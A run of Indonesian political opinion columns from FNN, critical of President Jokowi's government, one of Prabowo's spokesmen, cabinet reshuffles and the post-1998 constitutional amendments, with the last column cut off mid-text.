by Asyari Usman Medan, FNN - Ramai di Twitter. Tiba-tiba saja, tak ada angin tak ada petir, Dahnil Anzar Simanjuntak (DAS) melecehkan Habib Rizieq Syihab (HRS). Entah apa sebabnya, belum tahu. Jurubicara Menhan Prabowo Subianto (PS) ini menulis komentar balasan di linimasa Facebook-nya yang bernada sangat arogan. Kepada pemilik akun “Sugeng” di FB, Dahnil mengatakan bahwa HRS bukan siapa-siapa. DAS menggunakan kata-kata yang menunjukkan bahwa dia telah berjasa besar terhadap HRS. Meskipun kalimat-kalimat DAS tak menghiraukan kadiah bahasa Indonesia, tapi untaian komentarnya bisa dipahami sebagai ucapan yang mengerdilkan Habib. Begini Dahnil berbahasa: “Sugeng, dia siapa? Bukan2 siapa (maksudnya Bukan siapa-siapa, red) bagi sy justru sy yg bantu dan bela imam mu dulu, tapi sebaliknya dia tak pernah berkontribusi untuk membantu saya. persamaanya sy pernah lawan Ahok sama dg dia, dan dia pernah dukung PS sama dg saya. selebihnya sy bantu hak2 dia, tapi dia tak pernah bantu hak2 saya. itu terang. jelas ya.” Komentar inilah yang dibawah ke Twitter. Intinya, DAS ingin mengatakan beberapa poin. Pertama, dia sekarang menganggap HRS tidak ada apa-apanya. Kedua, dia pernah membantu dan membela Habib. Ketiga, Habib tidak pernah membantu dia. Untuk poin pertama, tentu sikap anggap enteng kepada HRS ini adalah hak Dahnil sepenuhnya. Orang hanya bisa geleng kepala mengapa begitu drastis perubahan jalan pikiran DAS. Kita semua pantas merasa kasihan melihat transfromasi Dahnil yang pasti banyak menggerogoti pikiran jernih dan akal sehatnya. Tidak terlalu mengherankan, sebetulnya. Sebab, Dahnil harus melecehkan Habib untuk menunjukkan dirinya lebih radikal dari para pendukung Jokowi. Dia harus bisa meyakinkan para pengawal senior Jokowi bahwa dia benar-benar telah masuk secara ‘kaffah’ (sempurna) ke kolam re-edukasi kubu Jokowi. DAS juga wajib ikut ‘vaksinasi ideologi’ agar dia utuh menjadi seorang Jokower. Sekarang ini efek vaksinasi itu telah menampakkan bentuknya. Dia mulai memusuhi ulama. Ini adalah ‘trade mark’ para Jokower. Poin kedua. Dahnil mengatakan dia pernah membantu HRS. Tak jelas bantuan apa yang dia maksud. Dan tak jelas pula kapan itu terjadi. Tampaknya lebih tepat disebut bahwa Dahnil merasa dirinya sudah sangat besar sehingga Habib memerlukan bantuan dari dia. Poin ketiga. DAS mengatakan Habib tak pernah membantu dia. Kalau ini memang benar. Soalnya, HRS mau bantu apa untuk Dahnil yang sudah menjadi orang besar. Yang agak berlebihan adalah pernyataan DAS bahwa suara besar yang diperoleh Prabowo dan Gerindra tidak ada kaitannya dengan dukungan umat Islam yang dikerahkan oleh HRS dan para ulama. Untuk menyikapi pernyataan seperti ini, orang tidak perlu reaktif. Biarkan saja. Arogansi macam ini akan terjawab dengan sendirinya nanti. Jadi, untuk menjawab pertanyaan di judul tulisan ini: apa sebab jurubicara Prabowo melecehkan Habib Rizieq, kita semua sudah paham. Dahnil Anzar merasa suara para ulama tidak diperlukan. Dan para ulama pun sudah tahu jauh sebelum Dahnil merasakan itu.[] Penulis adalah Wartawan Senior FNN.co.id.

Ibarat Menghadapi Orang Gila Yang Menghunus Golok

KEKUASAAN yang cenderung dilaksanakan secara otoriter dan serba “error” sekarang ini, membuat rakyat tercekam tapi tak bisa berbuat apa-apa. Tidak ada ruang untuk memprotes apalagi melawan. Apa saja yang dilakukan oleh para penguasa, terpaksa harus diterima. Situasi yang berlangsung mirip dengan drama penyanderaan yang dilakukan gerombolan orang yang tak waras. Orang-orang gila. Seramnya, kepada gerombolan itu telah diserahkan semua senjata yang tadinya dipegang oleh rakyat yang kini menjadi sandera. Mereka gila tapi memegang senjata lengkap dan siap digunakan. Salah bergerak, banyak korban nyawa. Berteriak sedikit, senapan mesin para penyandera akan memuntahkan ribuan peluru. Ada yang coba-coba melakukan manuver yang mencurigakan, bakal mati kena granat. Tak ubah seperti orang gila yang memegang golok dan berada di tengah keramaian. Pastilah semua orang senyap. Tak berani memancing perhatian orang gila itu. Semua tiarap. Begitulah sekarang rakyat Indonesia di bawah kekuasaan otoriter yang dikendalikan oleh orang-orang “error”. Bagaikan sedang berlayar di samudera, kapal NV Indonesia bisa hancur dan tenggelam kalau ada yang coba-coba melawan. Pada mulanya rakyat merasa senang karena mereka menyerahkan kendali dan persenjataan kepada orang-orang waras yang kelihatan baik dan akan membela yang lemah. Ternyata, rakyat tertipu. Para penguasa adalah orang-orang yang pandai bersandiwara ketika ingin mendapatkan mandat dan senjata lengkap. Malangnya nasib, para penguasa bukannya bertindak melindungi dan menyenangkan rakyat. Mereka sebaliknya menodongkan senjata kepada rakyat dan membebani rakyat dengan segala macam kecerobohan. Para penguasa juga berlaku semena-mena. Sewenang-wenang. Untuk saat ini, rakyat tidak punya pilihan lain. Mereka harus sangat berhati-hati menghadapi para penguasa yang setiap waktu mengacungkan senjata. Salah langkah bisa berujung tragis atau mendekam di penjara. Sejak awal, rakyat percaya orang-orang ini akan bertindak untuk melindungi dan menjaga keselamatan mereka dan hak milik mereka. Rakyat juga yakin orang-orang yang diberi sejata lengkap itu akan mengusahakan kemakmuran dan kesejahteraan. Semua itu tak terjadi. Janji menjaga rakyat berubah menjadi persekusi. Janji perlindungan jiwa dan hak milik, berubah menjadi pengejaran dan prosekusi. Para penyandera sibuk merampok dan menumpuk kekayaan di atas kapal NV Indonesia. Sebagian besar awak kapal mencari kesempatan dalam kesempitan. Sementara para penyandera sibuk berpesta pora dan menyantap yang enak-enak, para awak kapal yang jahat ikut hura-hura. Kini, para penumpang kapal harus rela menjalani kesewenangan para penyandera. Mereka tetap memilih hidup meskipun di bawah todongan senjat. Para penyamun yang berasal dari rakyat kini semakin mengganas. Rakyat hanya bisa menunggu para penyandera mabuk setelah pesta. Menunggu mereka lelah dan tertidur. Barangkali saja senjata dapat direbut kembali. Dan pada waktu itu nanti para penyandera bisa dilumpuhkan. Namun, sejauh ini belum lagi terlihat tanda-tanda ke arah itu. Para penyandera masih sangat kuat. Mungkin karena dibantu oleh orang-orang yang sudah malang-melintang di dunia rampok-merampok. Tidak ada pilihan lain. Rakyat harus terus bersabar. Bersabar sampai, barangkali, muncul seseorang yang sangat kuat dan memiliki kapasitas untuk menekuk gerombolan orang gila yang terlanjur menguasai senjata lengkap itu.

Cintai Produk Lokal, Kenapa Import Demokrasi Individual? (Bagian-2)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Awal tahun 2021, bertiup angin santer wacana keinginan tentang Presiden tiga periode. Sifat wacana masih perorangan, belum ada organisasi yang menyatakan. Namun, bisa jadi dia corong depan organisasi. Tetapi bisa juga pribadi yang sedang “Nggege Mongso” mengharap jabatan. Semoga saja tidak demikian. Apapun alasannya, isu itu bergulir di media, mengusik pikiran penulis. Bagaimana tidak terusik? Jabatan Presiden kok mudah sekali diutak-atik sesuai selera. Penulis mencoba berburu pengetahuan kepada beberapa tokoh penyandang ilmu Hukum Tata Negara, melaui whatsApp (WA). Singkat cerita, penulis (P) melakukan chatting melalui WA ke beberapa tokoh. Semua merespon, salah satunya, tokoh berinisial (JA) mantan pejabat negara, yang komunikasinya kami lakukan 15/3/2021. Cuplikan yang penting dari chating sebagai berikut : P​: Ijin tanya Prof,…. Berbicara masalah pengaturan di UUD, tentang berapa kali Presiden boleh menjabat, masalah ini masuk katagori persoalan tehnis atau persoalan esensial ketatanegaraan? ​Kedua, apa ada yang secara akademis, disebut sebagai faktor pertimbangan untuk menentukan lamanya jabatan Presiden? JA​: Pembatasan masa jabatan, meteri esensial demokrasi konstitusional. Karena hakikat konstitusi itu sejak awal diadakannya berisi kesepakatan tertinggi untuk membatasi kekuasaan, salah satunya adalah soal masa jabatan yang dalam sistem Presidensial harus “fixed term”, dan dalam esensi demokrasi harus ada pergantian dan bergiliran kekuasaan. ​Tidak ada demokrasi jika tidak terdapat jaminan pergiliran atau pergantian kekuasaan. Misalnya, ada Pilpres, tetapi Presidennya tidak ketat dibatasi periodenya sehingga terus-terusan terpilih sampai mati seperti di Rusia atau PM Hun Sen di Kamboja, juga sampai mati. Meski selalu ada Pemilu, tetap saja demokrasinya dianggap semu atau formalistik. P​: Katanya demokrasi itu kedaulatan rakyat di tangan rakyat. Kalau rakyat masih menginginkan dia presiden lagi bagaimana? Apa iya kedaulatan rayat dibajak, terus bikin definisi atas nama demokrasi bahwa “Presiden harus gantian”? Apa tidak melanggar hak kedaulatan rakyat? JA​: Itulah warisan budaya feodal yang menyebabkan suburnya politik dinasti dimana-mana. P​: Bung Karno punya Tap MPR sebagai Presiden seumur hidup. Pak Harto dipilih rakyat berkali-kali. Tetapi, tatkala rakyat sudah tidak suka, ya henti di tengah jalan. Jadi ukurannya, menurut saya, demokrasi itu ya bagaimana kedaulatan atau kehendak rakyat. Ukurannya bukan harus gantian. JA​: Iya, benar begitu, tapi kalimatnya masih terlalu abstrak, sudah dibahas sebelum 2021. Sekarang harus dirinci dalam ribuan buku ilmu pengetahuan, sehingga dalam praktek muncul parlemen. Ada kebebasan berpendapat dan berorganisasi. Adanya Parpol, peradilan independen. Bahkan muncul juga Mahkamah Konstitusi (MK), sistem fixed presidentil, larangan bubarkan parlemen dalam sistem presidentil, tetapi ada mekanisme impeachment, dan sebagainya. Semua butuh pelembagaan. Namun tantangan yang bakal dihadapi adalah tradisi budaya. Maka setelah 75 tahun, yang bangkrut dalam praktek malah politik dinasti. Karena para pemimpinnya cuma sibuk rebutan, mengambil dan menikmati secara transaksioanal. Bukan peduli, menyumbang, berbagi untuk transformasi pelembagaan politik dan peradaban bangsa dalam jangka panjang. P​: Apalagi dengan dasar Demokrasi Liberal. Siapa kuat segalanya (duit dan kekuasaan) pasti menang. Coba jika sistem Pancasila kita bikinkan “saringan” untuk milih calon anggota dewan dan calon Presiden dan Wakil Presiden seperti memilih calon Taruna masuk Akademi Militer atau Akademi Kepolisian, kita akan menemukan sosok yang “nggenah” dan konflik perpecahan bangsa terhindari. Dari chating di atas, kita ambil 3 (tiga) pendapat JA yang menarik untuk dibahas. Pertama, pembatasan masa jabatan Presiden, sebagai meteri esensial demokrasi konstitusional. Kedua, dalam esensi demokrasi itu, harus ada pergantian dan bergiliran kekuasaan. Ketiga, setelah 75 tahun yang bangkrut justru politik dinasti. Pertama, penulis sependapat, urusan masa jabatan Presiden itu bukan urusan tehnis yang mudah diutak-atik sesuai selera. Tetapi urusan esensial demokrasi konstitusi. Penentuan masa jabatan Presiden harus melalui kajian dari banyak faktor sosial budaya bangsa. Sebagaimana “founding fathers” telah merumuskannya dalam UUD 1945, tentu sudah menghitung dari berbagai aspek sosial budaya. Penulis yakin, hitungan “founding fathers” tak ada faktor faktor emosional, kekeluargaan, kekerabatan dan lain-lain yang sebangsanya. Karena itu, masa jabatan Presiden dari setiap negara bisa berbeda. Konstitusi yang sudah mengaturnya, jarang terjadi diutak-atik di tengah jalan, karena selera politik. Kedua, pendapat dari JA, bahwa dalam sistem Presidensial harus “fixed term”, dan dalam esensi demokrasi harus ada pergantian dan bergiliran kekuasaan. Tidak ada demokrasi jika tidak terdapat jaminan pergiliran atau pergantian kekuasaan. Pertanyaan penulis, apa iya esensi Demokrasi Pancasila tidak mengatur pergantian Presiden yang “fixed term”? Menilik arti kata dan definisi demokrasi dari tokoh-tokoh dunia seperti Abraham Lincoln, Charles Costello, John L. Esposito, Hans Kelsen, Sidney Hook, C.F. Strong, Hannry B. Mayo dan lain-lain. Tidak satupun yang menyinggung esensi demokrasi itu dengan penekanan harus adanya “giliran kekuasaan”. Hampir semua mendefinisikan demokrasi itu seputar sistem pemerintahan yang seluruh rakyat turut serta memerintah dengan perantaraan wakilnya. Rakyat yang mana, rakyat dewasa. Unsur yang digunakan dalam definisi seperti rakyat pemegang kekuasaan, rakyat memiliki hak mengatur, rakyat sumber kekuasaan atas dasar sistem perwakilan, kesamaan politik dalam suasana kebebasan, dlsb. Apakah reformasi Indonesia tahun 1998 yang mengamandemen UUD 1945 dan memilih Sistem Presidensial dengan dalih Indonesia tidak demokratis itu, dalam bahasa sederhananya hanya ingin Presiden itu bergantian? Penulis berpendapat, amandemen UUD 1945 yang dilakukan tahun 1999 s/d 2002 tidak hanya masalah jabatan Presiden supaya gantian, tetapi ada tujuan yang lebih besar. Kalau hanya ingin Presiden bergantian, sesungguhnya demokrasi produk lokal, yakni Demokrasi Pancasila pun sudah mengatur hal tersebut. Implementasi Demokrasi Pancasila disamping soal periodisasi, yakni setiap lima tahun, juga punya makna sebagaimana yang didefinisikan para tokoh kaliber dunia di atas, bahwa semua tergantung rakyat. Contoh faktual, Presiden Soekarno walau mengantongi Tap MPR sebagai Presiden seumur hidup yang merupakan penyimpangan UUD 1945, toh jatuh karena kehendak rakyat. Presiden Soeharto dipilih rakyat dalam sistem perwakilan, berhenti sebelum waktunya karena kehendak rakyat. Laporan pertanggungjawaban Presiden B.J. Habibie tidak diterima rakyat melalui para wakil rakyat di MPR. ​Semua peristiwa di atas menunjukkan Indonesia negara demokratis. Kedaulatan di tangan rakyat. Jadi dalih amandemen UUD 1945 agar Indonesia lebih demokratis tidak rasional. Menilik pendapat JA, patut dinilai alasan reformasi bukan sekedar ingin Presiden bergantian. Ada tujuan lain, mengganti Demokrasi Pancasila dengan Demokrasi Liberal Mengapa ada kekuatan yang tidak menyukai demokrasi produk lokal yakni Demokrasi Pancasila? Padahal, dalam Pembukaan Undang-Undang Dasar sangat jelas bahwa Negara Republik Indonesia berkedaulatan rakyat dengan berdasar kepada Pancasila. Bukan menurut UUD sebagaimana Pasal 1 ayat (2) UUD 2002. ​Dari perspektif teori Hans Nawiasky, Pancasila itu “Staatsfundamentalnorm” yang memayungi Pasal-pasal Batang Tubuh UUD 1945 atau “Staatsgrundgesetz”. Dengan demikian Pasal 1 ayat (2) di UUD 2002 seharusnya sesuai dengan nilai-nilai Pancasila, sebagaimana narasi Pasal 1 ayat (2) UUD 1945. Soal Demokrasi Liberal dalam Pilpres dan Pilkada langsung. Rakyat kecil, para pakar sampai pejabat berteriak, demokrasi import ini mengakibatkan orang berkualitas tidak bisa menjabat, karena biaya tinggi. konflik yang diciptakan buzzer politik. Kehidupan sosial budaya rusak, penuh ketidakjujuran, ketidakadilan, kolusi, korupsi, nepotisme dengan puncak kerusakan terbelahnya persatuan Indonesia. Jadi menjawab pertanyaan, mengapa ada kekuatan yang tidak menyukai demokrasi produk lokal yakni Demokrasi Pancasila? Penulis berpendapat karena sasaran mereka adalah memecah belah persatuan bangsa Indonesia. Mereka tahu Pancasila adalah alat pemersatu bangsa Indonesia. Jika Indonesia bisa mereka pecah belah, mereka lebih mudah untuk “menguasai”. Sinyalemen penulis di atas, dikuatkan dengan langkah awal reformasi adalah mencabut Ketetapan MPR No.II/MPR/1978 tentang Pedoman Penghayatan dan Pengamalan Pancasila (Ekaprasetia Pancakarsa). Mereka tahu nilai-nilai Pancasila itu menjiwai Batang Tubuh UUD 1945 yang akan mereka amandemen dan alat pemersatu bangsa Indonesia. Dengan demikian, ajakan Presiden cintailah produk lokal, hendaknya kita tangkap secara luas. Artinya, kita cintai pula demokrasi produk lokal, yakni Demokrasi Pancasila. Bolehlah kaget setelah tahu dampak buruk dan tujuan demokrasi yang kita import, yakni Demokrasi Liberal yang individualistis tersebut. Tetapi setelah tahu, jangan masa bodoh. Apalagi jika kita semua mengakui Pancasila adalah Dasar Negara Indonesia dan falsafah bangsa Indonesia. Mari kita selamatkan bangsa dan negara bersama-sama, sebelum pecah, dengan kembali ke “Demokrasi Pancasila”. Apakah benar setelah 75 tahun, politik dinasti bangkrut? Sebagaimana yang disampaikan kawan penulis JA di atas? Untuk mengetahui jawabannya, apakah politik dinasti bangkrut atau justru menjamur, silakan baca pada artikel lanjutan bagian ke-3. (bersambung). Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Mungkin Presiden Yang Perlu Reshuffle? Bukan Menterinya

by M. Rizal Fadillah Jakarta FNN - Akhir-akhir ini isu reshuffle kabinet kembali merebak. Meskipun tidak ada harapan perubahan signifikan dari pergantian para menteri Presiden Jokowi tersebut. Sebab rakyat sebenarnya tidak butuh perubahan parsial kementrian. Yang sebenarnya ditunggu rakyat adalah kapan Presiden Jokowi mundur atau diganti. Selama menjabat sebagai Presiden sejak 2014, sudah empat kali Jokowi melakukan reshuffle kebinet. Pada periode pertama, tiga kali melakukan reshuffle. Sementara di preode kedua ini, sebentar lagi mungkin reshuffle yang kedua. Sehingga totalnya nan menjadi lima kali reshuffle. Ceritra menjabat tiga periode jangan hanya dianggap sebuah parodi. Jika obyektif, dengan keseringan melakukan reshuffle kabinet, maka Presiden dinilai memang sudah tidak mampu lagi memimpin pemerintahan. Syangnya, syahwat untuk tiga periode tersebut diduga semakin menggebu-gebu. Meskipun gagal, namun niat besar menuju tiga priode tetap disebunyikan hingga kini. Bahkan sebaliknya mengatakan, “tak pernah berniat untuk tiga priode”. Reshuffle kabinet sebelumnya telah menghasilkan Menteri Agama (Menag) baru, Menteri Perdagangan (Mendag) baru, Menteri Kesehatan (Menkes) serta Menteri pariwisata dan Ekonomi Kreatif baru. Namun sama sekali tidak mengubah kinerja Pemerintahan Jokowi. Risma Menteri Sosial (Mensos) baru juga masih dominan akting daripada bukti kemampuan. Masyarakat sulit berharap banyak pada Menteri-Menteri yang baru. Disamping tidak adanya visi dan misi menteri, juga sistem kabinet sendiri berjalan dengan manajemen tidak visioner. Tidak jelas arah mau kemana. Sangat tergantung siapa yang terakhir datang memberikan masukan kepada Preside. Isu reshuffle adalah isu politik yang hanya untuk kepentingan istana dalam tiga hal. Pertama, Jokowi ingin mencitrakan kepada masyarakat dirinya masih sebagai Presiden yang masih kuat dan dominan. Tampil dan menunjukkan kepada lingkaran istana bahwa siapa yang mencoba melawan atau mengganggu akan diganti. Makanya jangan coba-coba melawan kemauan dan keinginan Presiden kalau memang tidak siap untuk diganti dari jebatan menteri. Kedua, koalisi dipancing agar semakin mendekat kepada Presiden. Karena umumnya koalisi takut kalau kehilangan menteri. Makanya PHP (Pemeberian Harapan Palsu) pun berjalan. Jangan-jangan Partai Demokrat yang masuk dalam jajaran kebinet hasil reshuffle pula. Untuk bargaining ke depan, terutama mendukung agenda tiga priode. Isu reshuffle selalu membuat semut berkumpul. Ketiga, isu reshuffle ini dapat digunakan sebagai sarana untuk menutupi diri dari kelemahan-kelemahan yang sekaligus memperpanjang nafas politik. Tiga periode juga merupakan bagian dari upaya-upaya tersebut. Meskipun dengan bahasa kepada rakyat bahwa tidak berminat atau tidak akan mempengaruhi Majelis Permusyawatan Rakyat (MPR). Meskipun demikian, sebenarnya rakyat sudah tidak peduli dengan isu reshuffle yang dihembuskan belakangan ini. Rakyat lebih berfikir tentang bahaya menghadapi krisis kesehatan, krisis ekonomi, krisis politik, dan krisis hukum. Permainan hukum untuk kepentingan politik yang semakin mencolok dan telanjang. Intervensi dan diskriminasi hukum sangat terbuka untu dilakukan penguasa. Jika semakin sering isu reshuffle digulirkan, maka semakin terbukti dan terkonfirmasi bahwa sebenarnya Presiden tidak mampu memilih pembantu yang baik. Menteri itu kan anak buahnya Presiden, karena Presiden yang pilih dan lantik mereka. Namun dengan keseringan reshuffle, maka sebenarnya menjadi cermin dari ketidakmampuan rakyat memilih Presiden yang baik pula. Memang yang selalu saja menjadi pertanyaan adalah, apakah "telur dulu atau ayam dulu”? Namun yang repot kalau ayamnya sakit, dipastikan telurnya juga ikut busuk. Penulis adalah Pemerhati Politik dan Kebangsaan.

Industri Otomotif Bangkit. Mimpi Siang Bolong Presiden Jokowi

PRESIDEN Jokowi menyampaikan kabar mengejutkan. Industri otomotif Indonesia sudah bangkit kembali. “Saya dapat laporan dari Menteri Perindustrian, ada kenaikan untuk purchase order-nya 190 persen. Artinya harus inden. Artinya yang memproduksi ini kewalahan, artinya lagi, industri otomotif sudah bangkit kembali,” kata Jokowi, dalam pembukaan Indonesia International Motor Show (IIMS) Hybrid 2021 di Istana Negara, Jakarta, Kamis 15 April 2021. Bagi yang belum kenal, dan hafal dengan retorika Presiden Jokowi, apa yang disampaikan merupakan kabar yang sangat baik dan menggembirakan. Namun meminjam olok-olok yang sering digunakan oleh netizen, “sayangnya kabar baik itu yang menyampaikan Jokowi.” Begitulah public distrust yang sudah sangat meluas di kalangan masyarakat. Apapun yang disampaikan oleh pemerintah, khususnya Presiden, publik telanjur apriori. Tidak mempercayainya. Agar tak terjebak dalam sikap apriori. Sikap buruk sangka terhadap Jokowi, mari kita cek datanya. Benarkah dengan kenaikan pemesanan naik 190 persen, berarti industri otomotif sudah bangkit kembali? Berdasarkan data yang dirilis oleh Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo) penjualan mobil tahun 2020 merosot sangat tajam. Pada 2020, total volume wholesales anjlok 48,3 persen dari tahun sebelumnya, sedangkan ritel minus 44,5 persen. Distribusi mobil baru dari pabrik ke diler (wholesales) selama periode tersebut hanya mencapai 532.027 unit. Sementara dari sisi ritel, capaiannya terhenti di angka 578.327 unit. Titik terendah pada kuartal II/2020 atau April-Juni. Saat itu, pasar otomotif nasional hanya tersisa sekitar 10 persen dari keadaan normal Trend penurunan itu terus berlanjut pada awal tahun 2021. Gaikindo mencatat penjualan wholesales Januari 2021 berjumlah 52.910 unit. Angka itu turun 8,7 persen dibanding Desember 2020. Sementara dibandingkan Januari 2020 penurunan mencapai 52 persen. Untuk penjualan retail, penurunan lebih dalam. Penjualan Januari 2021 turun 28 persen dibanding Desember 2020. Sementara dibanding angka Januari 2020, penurunan retail mencapai 50,1 persen. Pada bulan Februari 2020 angkanya kembali turun, 15 persen dari penjualan bulan Januari. Angka penjualan mana yang digunakan oleh Jokowi sebagai pembanding. Tahun 2020, atau 2021? Kalau menggunakan angka tahun 2020, ada penurunan hampir 50 persen dibandingkan dengan tahun 2019 sebelum Covid. Sementara angka penjualan pada bulan Januari dan Februari turun di atas 50 persen dibandingkan tahun 2020. Atau angka penjualan bulan April-Juni 2020? Saat angka penjualan tinggal 10 persen? Pak Jokowi barangkali lupa. Atau jangan-jangan tidak tahu menahu, mulai bulan Maret 2021 pemerintah secara mengejutkan memberikan stimulus gila-gilaan untuk industri otomotif. Untuk pembelian mobil baru di bawah 1.500 CC diberi insentif PPnBM (Pajak Penjualan atas Barang Mewah) sampai 100 persen. Pembebasan pajak sampai 100 persen berlaku selama tiga bulan. Kemudian secara bertahap turun 50 dan 25 persen pada tiga bulan berikutnya. Insentif pajak itu diajukan oleh Menteri Perindustrian. Namun pada bulan Oktober 2020 ditolak Menkeu Sri Mulyani. Alasannya akan memberatkan ekonomi, karena berdampak terhadap penurunan pendapatan negara. Sri Mulyani kala itu lebih memilih memberi stimulus fiskal yang bisa dinikmati oleh semua golongan. Bukan hanya industri otomotif. Namun tiba-tiba pada bulan Februari 2021 pemerintah memutuskan memberi insentif pajak untuk industri otomotif. Tidak hanya berhenti sampai disitu. Pada bulan Maret pemerintah memperluas insentif PPnBM. Jika semula hanya berlaku untuk kendaraan di bawah 1.500 cc 4X2, termasuk sedan dengan kandungan lokal 70 persen. Sekarang diperluas dengan kendaraan di bawah 2.500 cc 4X4 dengan kandungan lokal 60 persen. Dengan fakta ini sudah bisa diduga penjualan mobil baru pasti sangat menggiurkan. Pembeli bela-belain membobol tabungan, mumpung ada obral pajak besar-besaran. Apakah eforia pembelian mobil itu akan terus berlanjut ketika insentif dicabut? Tidak usah menunggu sampai habis masa pemberian insentif. Setelah insentif turun menjadi 50, apalagi 25 persen, dipastikan penjualan akan anjlok kembali. Tidak perlu kaget bila kebijakan pemerintah akan kembali berubah. Insentif PPnBM 100 persen diberikan sepanjang tahun. Demi mendongkrak penjualan otomotif. Jadi sesungguhnya klaim Jokowi bahwa industri otomotif telah bangkit kembali, bisa dipastikan adalah MIMPI DI SIANG BOLONG. Yang terjadi justu pendapatan negara kian tergerus, karena membeli stimulus industri otomotif. Menteri Keuangan Sri Mulyani menyatakan, pemerintah mengalokasikan anggaran sebesar Rp 2,99 triliun untuk penghapusan PPnBM mobil baru. Kebijakan insentif PPnBM mobil baru ini sekali lagi menunjukkan, betapa pemerintah sangat berpihak pada korporasi, termasuk korporasi multinasional. Dengan membeli mobil baru, maka sebenarnya dana tabungan masyarakat tersedot dan terbang ke pabrikan mobil asing. Sementara rakyat kembali coba dininabobokkan bahwa industri otomotif nasional sudah kembali bangkit. Mohon maaf Pak Jokowi. Kami sudah hafal dengan retorika semu semacam itu. Kami tak akan terlena. End

Cintai Produk Lokal, Kenapa Import Presidensial? (Bagian-1)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Jokowi Kaget. Tak Percaya Ada Guru Bergaji Rp. 300 Ribu (CNN Indonesia, 11/1/2019). Wapres Ma’ruf Amin juga kaget dengan Ijin Investasi Miras Jokowi (CNN Indonesia, 2/3/2021). Menko PMK kaget Tenaga Tracing Covid-19 Tak Sampai 5.000 orang (DetikNews, 11/2/2021). Luhut kaget, tambahan kasus Covid-19 Capai 6.000 Per Hari (Bisnis.com, 16/12/2020). Risma kaget, duit Rp.1,3 T untuk data. Mati Kita Kalau Tak Hati-hati (CNN Indonesia, 23/12/2020). Sri Mulyani kaget ada uang WNI di Swiss susah masuk ke Indonesia (liputan6.com, 18/10/2016). Nadiem kaget, kami tak akan pernah hilangkan pengajaran agama (DetikNews, 10/3/2021). Pembaca “kaget’, karena membaca berita para pejabat kaget? Padahal tak perlu kaget. Sebab kaget itu bisa beneran kaget, bisa tidak kaget, tetapi dikaget-kagetkan. Sebab ada adagium kepemimpinan , “apa yang dilakukan dan tidak dilakukan bawahan, merupakan tanggung jawab pimpinan”. Penulis tidak bermaksud membahas berita di atas. Penulis suka judulnya. Logatnya, memberi inspirasi. Penulis ingin menyajikan sesuatu, yang mungkin orang bisa kaget, tidak kaget atau masa bodoh. Namun penulis berharap, demi orang banyak janganlah masa bodoh. Kita hendaknya berani mengambil langkah positip demi bangsa dan negara. Pembatasan. Dalam artikel bersambung ini, karena ada perbedaan yang mendasar, agar mudah membedakan, maka Undang-Undang Dasar hasil amandemen dalam artikel ini, ditulis dengan sebutan UUD 2002. Sebelum import sistem Presidensial, sistem pemerintahan kita dikenal dengan sistem pemerintahan sendiri atau sistem pemerintahan MPR. Penulis berpendapat, dan lebih suka menyebut “Sistem Pemerintahan Pancasila”, karena landasannya Pancasila. Para politisi sepakat mengganti menjadi sistem presidensial saat mengamandemen UUD 1945. Seperti apa sistem Presidensial itu? Seperti yang kita pakai dalam bernegara pasca amandemen UUD 1945. Sistem presidensial jauh berbeda dengan produk lokal yang disusun oleh “founding fathers” yang penulis sebut “Sistem Pemerintahan Pancasila”. Sistem Pemerintahan Pancasila merupakan karya besar bapak bangsa untuk Indonesia merdeka. Sistem ini tertuang dalam UUD 1945. Pasal-pasal dalam UUD 1945 merupakan penjabaran dari pokok-pokok pikiran dalam “Pembukaan UUD 1945”. Sistem pemerintahan yang tidak ikut sana sini, tidak menganut Parlementer ataupun Presidensial. Bahwasannya, kemerdekaan kebangsaan Indonesia disusun dalam suatu Undang-undang Dasar Negara Indonesia yang berkedaulatan rakyat berdasar kepada Pancasila. Kedaulatan rakyat seperti apa? Kedaulatan rakyat yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan. Kedaulatan di tangan rakyat dan dilakukan sepenuhnya oleh Majelis Permusyawaratan Rakyat (MPR). Di dalam MPR duduk wakil-wakil rakyat, sebagai representasi atau penjelmaan rakyat Indonesia. Ada perwakilan Parpol, ada Utusan Daerah dan Utusan golongan. Tidak ada satupun yang tidak terwakili. Karena itulah MPR sebagai Lembaga Negara tertinggi, yang memegang kekuasaan negara tertinggi. Sehingga MPR memiliki kewenangan menetapkan Undang-Undang Dasar dan GBHN serta memilih Presiden dan Wakil Presiden. Kedudukan ini berimplikasi, MPR memiliki kewenangan melakukan perubahan Undang-Undang Dasar yang bersifat tehnis. Untuk mewujudkan cita-cita dan tujuan negara, para wakil rakyat di MPR membuat garis-garis besar daripada haluan negara atau GBHN. Untuk melaksanakan GBHN, para wakil rakyat memberikan mandatnya kepada Presiden yang dipilihnya. Dengan demikian, Presiden ialah penyelenggara pemerintahan negara yang tertinggi di bawahnya MPR. Presiden sebagai mandataris MPR adalah subsistem dari Sistem Pemerintahan Pancasila. Setiap tahun melaporkan pelaksanaan progam pembangunan, di hadapan sidang tahunan MPR. Di akhir jabatannya, Presiden menyampaikan ‘Laporan Pertanggungjawaban’ di hadapan MPR yang telah memberi mandat. Sampai disini, sebagai produk lokal, tampak keelokan Sistem Pemerintahan Pancasila. Sistem yang runtut dan mengalir dengan mantik. Kedaulatan adalah di tangan rakyat, sebagai cerminan negara demokrasi, yang dilaksanakan oleh Majelis Permusyawaratan Rakyat. Sebuah majelis tempat para wakil seluruh rakyat Indonesia bermusyawarah. Etika birokrasi bernegara pun tampak cantik. Rakyat membuat rencana pembangunan untuk negara, dalam hal ini diwakili para wakilnya di MPR. Presiden menerima mandat untuk dilaksanakan. Ada mandat, ada pula laporan pertanggungjawaban dari penerima mandat. Rakyat hidup tenang menjalankan kehidupannya, karena sudah mewakilkan hak dan kepentingannya. Apakah Sistem Pemerintahan Presidensial sebagaimana diatur dalam UUD 2002 juga seelok dan secantik Sistem Pemerintahan Pancasila? Mari kita uji dengan memunculkan beberapa pertanyaan. Apakah MPR saat ini representatif atau penjelmaan rakyat Indonesia? Tidak. MPR bukan penjelmaan rakyat Indonesia, karena anggota MPR hanya anggota DPR dan DPD. Anggota DPD hasil pemilu inipun nyaris orang-orang Parpol. Lalu dimana posisi dan dikemanakan hak komponen rakyat non Parpol, yakni golongan fungsional dan daerah dalam bernegara? Tidak ada tempat, bahkan haknya hilang. Contoh, salah satunya haknya anggota TNI dan Polri. Dengan demikian menjadi logislah 